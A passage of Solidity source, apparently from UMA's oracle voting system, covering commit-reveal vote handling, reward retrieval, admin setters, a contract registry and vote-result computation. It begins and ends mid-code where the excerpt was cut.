requestsAncillary[i].time = requests[i].time;
requestsAncillary[i].ancillaryData = "";
}
return getPriceRequestStatuses(requestsAncillary);
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public override onlyIfNotMigrated() {
require(hash != bytes32(0), "Invalid provided hash");
// Current time is required for all vote timing queries.
uint256 blockTime = getCurrentTime();
require(
voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit,
"Cannot commit in reveal phase"
);
// At this point, the computed and last updated round ID should be equal.
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
require(
_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active,
"Cannot commit inactive request"
);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) public override onlyIfNotMigrated() {
commitVote(identifier, time, "", hash);
}
/**
* @notice Snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times, but only the first call per round into this function or `revealVote`
* will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature)
external
override(VotingInterface, VotingAncillaryInterface)
onlyIfNotMigrated()
{
uint256 blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase");
// Require public snapshot require signature to ensure caller is an EOA.
require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender");
uint256 roundId = voteTiming.computeCurrentRoundId(blockTime);
_freezeRoundVariables(roundId);
}
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price voted on during the commit phase.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public override onlyIfNotMigrated() {
require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the round is over.
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// Scoping to get rid of a stack too deep error.
{
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
// Cannot reveal an uncommitted or previously revealed hash
require(voteSubmission.commit != bytes32(0), "Invalid hash reveal");
require(
keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) ==
voteSubmission.commit,
"Revealed data != commit hash"
);
// To protect against flash loans, we require snapshot be validated as EOA.
require(rounds[roundId].snapshotId != 0, "Round has no snapshot");
}
// Get the frozen snapshotId
uint256 snapshotId = rounds[roundId].snapshotId;
delete voteSubmission.commit;
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public override {
revealVote(identifier, time, price, "", salt);
}
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, ancillaryData, hash);
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, "", hash);
commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote);
}
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public override {
for (uint256 i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash);
} else {
commitAndEmitEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].ancillaryData,
commits[i].hash,
commits[i].encryptedVote
);
}
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchCommit(Commitment[] memory commits) public override {
CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length);
for (uint256 i = 0; i < commits.length; i++) {
commitsAncillary[i].identifier = commits[i].identifier;
commitsAncillary[i].time = commits[i].time;
commitsAncillary[i].ancillaryData = "";
commitsAncillary[i].hash = commits[i].hash;
commitsAncillary[i].encryptedVote = commits[i].encryptedVote;
}
batchCommit(commitsAncillary);
}
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more info on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public override {
for (uint256 i = 0; i < reveals.length; i++) {
revealVote(
reveals[i].identifier,
reveals[i].time,
reveals[i].price,
reveals[i].ancillaryData,
reveals[i].salt
);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchReveal(Reveal[] memory reveals) public override {
RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length);
for (uint256 i = 0; i < reveals.length; i++) {
revealsAncillary[i].identifier = reveals[i].identifier;
revealsAncillary[i].time = reveals[i].time;
revealsAncillary[i].price = reveals[i].price;
revealsAncillary[i].ancillaryData = "";
revealsAncillary[i].salt = reveals[i].salt;
}
batchReveal(revealsAncillary);
}
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold
* (not expired). Note that a named return value is used here to avoid a stack to deep error.
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return totalRewardToIssue total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Can only call from migrated");
}
require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId");
Round storage round = rounds[roundId];
bool isExpired = getCurrentTime() > round.rewardsExpirationTime;
FixedPoint.Unsigned memory snapshotBalance =
FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply =
FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint256 i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
// Only retrieve rewards for votes resolved in same round
require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) {
continue;
} else if (isExpired) {
// Emit a 0 token retrieval on expired rewards.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
} else if (
voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)
) {
// The price was successfully resolved during the voter's last voting round, the voter revealed
// and was correct, so they are eligible for a reward.
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward =
snapshotBalance.mul(totalRewardPerVote).div(
voteInstance.resultComputation.getTotalCorrectlyVotedTokens()
);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
reward.rawValue
);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed");
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory) {
PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length);
for (uint256 i = 0; i < toRetrieve.length; i++) {
toRetrieveAncillary[i].identifier = toRetrieve[i].identifier;
toRetrieveAncillary[i].time = toRetrieve[i].time;
toRetrieveAncillary[i].ancillaryData = "";
}
return retrieveRewards(voterAddress, roundId, toRetrieveAncillary);
}
/****************************************
* VOTING GETTER FUNCTIONS *
****************************************/
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests array containing identifiers of type `PendingRequest`.
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
override(VotingInterface, VotingAncillaryInterface)
returns (PendingRequestAncillary[] memory)
{
uint256 blockTime = getCurrentTime();
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that have an Active RequestStatus.
PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length);
uint256 numUnresolved = 0;
for (uint256 i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequestAncillary({
identifier: priceRequest.identifier,
time: priceRequest.time,
ancillaryData: priceRequest.ancillaryData
});
numUnresolved++;
}
}
PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved);
for (uint256 i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
return pendingRequests;
}
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
/****************************************
* OWNER ADMIN FUNCTIONS *
****************************************/
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress)
external
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
migratedAddress = newVotingAddress;
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
inflationRate = newInflationRate;
}
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%");
gatPercentage = newGatPercentage;
}
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
rewardsExpirationTimeout = NewRewardsExpirationTimeout;
}
/****************************************
* PRIVATE AND INTERNAL FUNCTIONS *
****************************************/
// Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent
// the resolved price and a string which is filled with an error message, if there was an error or "".
function _getPriceOrError(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
)
private
view
returns (
bool,
int256,
string memory
)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "Current voting round not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price is still to be voted on");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)];
}
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
function _freezeRoundVariables(uint256 roundId) private {
Round storage round = rounds[roundId];
// Only on the first reveal should the snapshot be captured for that round.
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
// Set the round inflation rate to the current global inflation rate.
rounds[roundId].inflationRate = inflationRate;
// Set the round gat percentage to the current global gat rate.
rounds[roundId].gatPercentage = gatPercentage;
// Set the rewards expiration time based on end of time of this round and the current global timeout.
rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add(
rewardsExpirationTimeout
);
}
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve unresolved request");
// Delete the resolved price request from pendingPriceRequests.
uint256 lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
pendingPriceRequests.pop();
priceRequest.index = UINT_MAX;
emit PriceResolved(
priceRequest.lastVotingRound,
priceRequest.identifier,
priceRequest.time,
resolvedPrice,
priceRequest.ancillaryData
);
}
function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) {
uint256 snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(rounds[roundId].gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../interfaces/RegistryInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title Registry for financial contracts and approved financial contract creators.
* @dev Maintains a whitelist of financial contract creators that are allowed
* to register new financial contracts and stores party members of a financial contract.
*/
contract Registry is RegistryInterface, MultiRole {
using SafeMath for uint256;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // The owner manages the set of ContractCreators.
ContractCreator // Can register financial contracts.
}
// This enum is required because a `WasValid` state is required
// to ensure that financial contracts cannot be re-registered.
enum Validity { Invalid, Valid }
// Local information about a contract.
struct FinancialContract {
Validity valid;
uint128 index;
}
struct Party {
address[] contracts; // Each financial contract address is stored in this array.
// The address of each financial contract is mapped to its index for constant time look up and deletion.
mapping(address => uint256) contractIndex;
}
// Array of all contracts that are approved to use the UMA Oracle.
address[] public registeredContracts;
// Map of financial contract contracts to the associated FinancialContract struct.
mapping(address => FinancialContract) public contractMap;
// Map each party member to their their associated Party struct.
mapping(address => Party) private partyMap;
/****************************************
* EVENTS *
****************************************/
event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties);
event PartyAdded(address indexed contractAddress, address indexed party);
event PartyRemoved(address indexed contractAddress, address indexed party);
/**
* @notice Construct the Registry contract.
*/
constructor() public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
// Start with no contract creators registered.
_createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0));
}
/****************************************
* REGISTRATION FUNCTIONS *
****************************************/
/**
* @notice Registers a new financial contract.
* @dev Only authorized contract creators can call this method.
* @param parties array of addresses who become parties in the contract.
* @param contractAddress address of the contract against which the parties are registered.
*/
function registerContract(address[] calldata parties, address contractAddress)
external
override
onlyRoleHolder(uint256(Roles.ContractCreator))
{
FinancialContract storage financialContract = contractMap[contractAddress];
require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once");
// Store contract address as a registered contract.
registeredContracts.push(contractAddress);
// No length check necessary because we should never hit (2^127 - 1) contracts.
financialContract.index = uint128(registeredContracts.length.sub(1));
// For all parties in the array add them to the contract's parties.
financialContract.valid = Validity.Valid;
for (uint256 i = 0; i < parties.length; i = i.add(1)) {
_addPartyToContract(parties[i], contractAddress);
}
emit NewContractRegistered(contractAddress, msg.sender, parties);
}
/**
* @notice Adds a party member to the calling contract.
* @dev msg.sender will be used to determine the contract that this party is added to.
* @param party new party for the calling contract.
*/
function addPartyToContract(address party) external override {
address contractAddress = msg.sender;
require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract");
_addPartyToContract(party, contractAddress);
}
/**
* @notice Removes a party member from the calling contract.
* @dev msg.sender will be used to determine the contract that this party is removed from.
* @param partyAddress address to be removed from the calling contract.
*/
function removePartyFromContract(address partyAddress) external override {
address contractAddress = msg.sender;
Party storage party = partyMap[partyAddress];
uint256 numberOfContracts = party.contracts.length;
require(numberOfContracts != 0, "Party has no contracts");
require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract");
require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party");
// Index of the current location of the contract to remove.
uint256 deleteIndex = party.contractIndex[contractAddress];
// Store the last contract's address to update the lookup map.
address lastContractAddress = party.contracts[numberOfContracts - 1];
// Swap the contract to be removed with the last contract.
party.contracts[deleteIndex] = lastContractAddress;
// Update the lookup index with the new location.
party.contractIndex[lastContractAddress] = deleteIndex;
// Pop the last contract from the array and update the lookup map.
party.contracts.pop();
delete party.contractIndex[contractAddress];
emit PartyRemoved(contractAddress, partyAddress);
}
/****************************************
* REGISTRY STATE GETTERS *
****************************************/
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the financial contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view override returns (bool) {
return contractMap[contractAddress].valid == Validity.Valid;
}
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view override returns (address[] memory) {
return partyMap[party].contracts;
}
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view override returns (address[] memory) {
return registeredContracts;
}
/**
* @notice checks if an address is a party of a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) {
uint256 index = partyMap[party].contractIndex[contractAddress];
return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _addPartyToContract(address party, address contractAddress) internal {
require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once");
uint256 contractIndex = partyMap[party].contracts.length;
partyMap[party].contracts.push(contractAddress);
partyMap[party].contractIndex[contractAddress] = contractIndex;
emit PartyAdded(contractAddress, party);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Computes vote results.
* @dev The result is the mode of the added votes. Otherwise, the vote is unresolved.
*/
library ResultComputation {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL LIBRARY DATA STRUCTURE *
****************************************/
struct Data {
// Maps price to number of tokens that voted for that price.
mapping(int256 => FixedPoint.Unsigned) voteFrequency;
// The total votes that have been added.
FixedPoint.Unsigned totalVotes;
// The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`.
int256 currentMode;
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Adds a new vote to be used when computing the result.
* @param data contains information to which the vote is applied.
* @param votePrice value specified in the vote for the given `numberTokens`.
* @param numberTokens number of tokens that voted on the `votePrice`.
*/
function addVote(
Data storage data,
int256 votePrice,
FixedPoint.Unsigned memory numberTokens
) internal {
data.totalVotes = data.totalVotes.add(numberTokens);
data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens);
if (
votePrice != data.currentMode &&
data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode])
) {
data.currentMode = votePrice;
}
}
/****************************************
* VOTING STATE GETTERS *
****************************************/
/**
* @notice Returns whether the result is resolved, and if so, what value it resolved to.
* @dev `price` should be ignored if `isResolved` is false.
* @param data contains information against which the `minVoteThreshold` is applied.
* @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be
* used to enforce a minimum voter participation rate, regardless of how the votes are distributed.
* @return isResolved indicates if the price has been resolved correctly.
* @return price the price that the dvm resolved to.
*/
function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold)
internal
view
returns (bool isResolved, int256 price)
{
FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100);
if (
data.totalVotes.isGreaterThan(minVoteThreshold) &&
data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold)
) {
// `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price.
isResolved = true;
price = data.currentMode;
} else {
isResolved = false;
}
}
/**
* @notice Checks whether a `voteHash` is considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains information against which the `voteHash` is checked.
* @param voteHash committed hash submitted by the voter.
